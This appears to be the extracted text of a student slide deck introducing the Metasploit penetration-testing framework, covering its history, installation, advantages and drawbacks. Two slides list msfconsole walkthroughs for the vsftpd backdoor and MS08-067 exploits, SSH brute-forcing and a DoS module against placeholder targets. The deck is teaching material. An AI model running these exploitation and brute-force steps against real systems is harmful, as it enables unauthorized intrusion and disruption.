Introduction of Metasploit and task.pptx
- 1. Metasploit Framewor k A powerful tool for penetration testing and vulnerability research
- 3. Introduction Overview of Metasploit: Developed in 2003 by H.D. Moore, later acquired by Rapid7 A penetration testing framework used for identifying and exploiting vulnerabilities Key Features: Exploit: Code that exploits vulnerabilities in a system Vulnerability: Flaws in design, code, or logic Payload: Code that runs after exploitation to achieve desired results
- 4. Historical Significance EternalBlue and Metasploit: EternalBlue exploited a vulnerability in the SMB protocol (CVE-2017-0144) Major Attacks: WannaCry Ransomware (2017): Used EternalBlue to encrypt files and demand ransom NotPetya Cyberattack (2017): Used EternalBlue to cause widespread damage Metasploit played a dual role for both attackers and defenders
- 5. Installation Guide Operating Systems: Linux (Kali Linux preferred) or Windows Steps for Kali Linux Installation: Update system: sudo apt update EE sudo apt upgrade Install Metasploit: sudo apt install metasploit-framework Verify installation: msfconsole Windows Installation: Download installer from Rapid7 website Run installer and follow on-screen instructions Launch Metasploit console
- 8. Exploiting Vulnerable Application (FTP Service): Identify Target: nmap -sV -p 21 <target_ip> Search for Exploits: search vsftpd Configure Exploit: use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS <target_ip> set RPORT 21 Gain Access: Run exploit to gain a command shell on the target system Techniques and Problems Addressed
- 10. Tasks Performed Activating Database: Command:service postgresql start Verify database status: Command: service postgresql status List Exploits: Command: show exploits Using Help Command: Command: help Explore Payloads: Command: show payloads Vulnerability Scanning: Identify weaknesses: set RHOSTS <Target-IP> DoS Attack: Command: set RHOSTS <Target-IP> , set RPORT <Target-Port> MS08-067 Exploit: Start Metasploit: msfconsole Search Exploit: search ms08_067 Select and configure exploit: use exploit/windows/smb/ ms08_067_netapi Launch exploit: exploit Brute-Force SSH Login: Command: use auxiliary/scanner/ssh/ssh_logi n
- 15. List Exploits:
- 16. List Payloads
- 18. Choose exploit
- 19. Set target IP address
- 22. DoS Attack:
- 26. Advantages of Metasploit • Comprehensive Framework: Metasploit is a comprehensive framework that provides a wide range of tools and modules for penetration testing, vulnerability assessment, and exploit development. • Large Community: Metasploit has a large and active community of users, contributors, and developers, which ensures that the framework is constantly updated with new exploits, modules, and features. • Open-Source: Metasploit is open-source, which means that it is free to use, modify, and distribute. • Cross-Platform: Metasploit is cross-platform, which means that it can run on multiple operating systems, including Windows, Linux, and macOS. • Easy to Use: Metasploit has a user-friendly interface that makes it easy to use, even for those who are new to penetration testing and exploit development. • Fast and Efficient: Metasploit is fast and efficient, which means that it can quickly identify and exploit vulnerabilities. • Customizable: Metasploit is highly customizable, which means that users can create their own modules, exploits, and payloads.
- 28. Disadvantages of Metasploit • Steep learning curve: Metasploit requires a good understanding of programming, networking, and operating systems. • Complex setup and configuration: Setting up and configuring Metasploit can be time-consuming and challenging. • Risk of crashing or disrupting systems: Metasploit's exploits can crash or disrupt systems, which can cause unintended consequences. • Legal risks: Using Metasploit without permission can be illegal and result in serious consequences. • Ethical concerns: Metasploit can be used for malicious purposes, which raises ethical concerns.
- 29. Conclusion Metasploit is a powerful and widely-used penetration testing framework that provides a comprehensive platform for identifying, exploiting, and validating vulnerabilities in computer systems, networks, and applications. With its large community, open-source nature, and cross-platform compatibility, Metasploit has become an essential tool for security professionals, researchers, and organizations.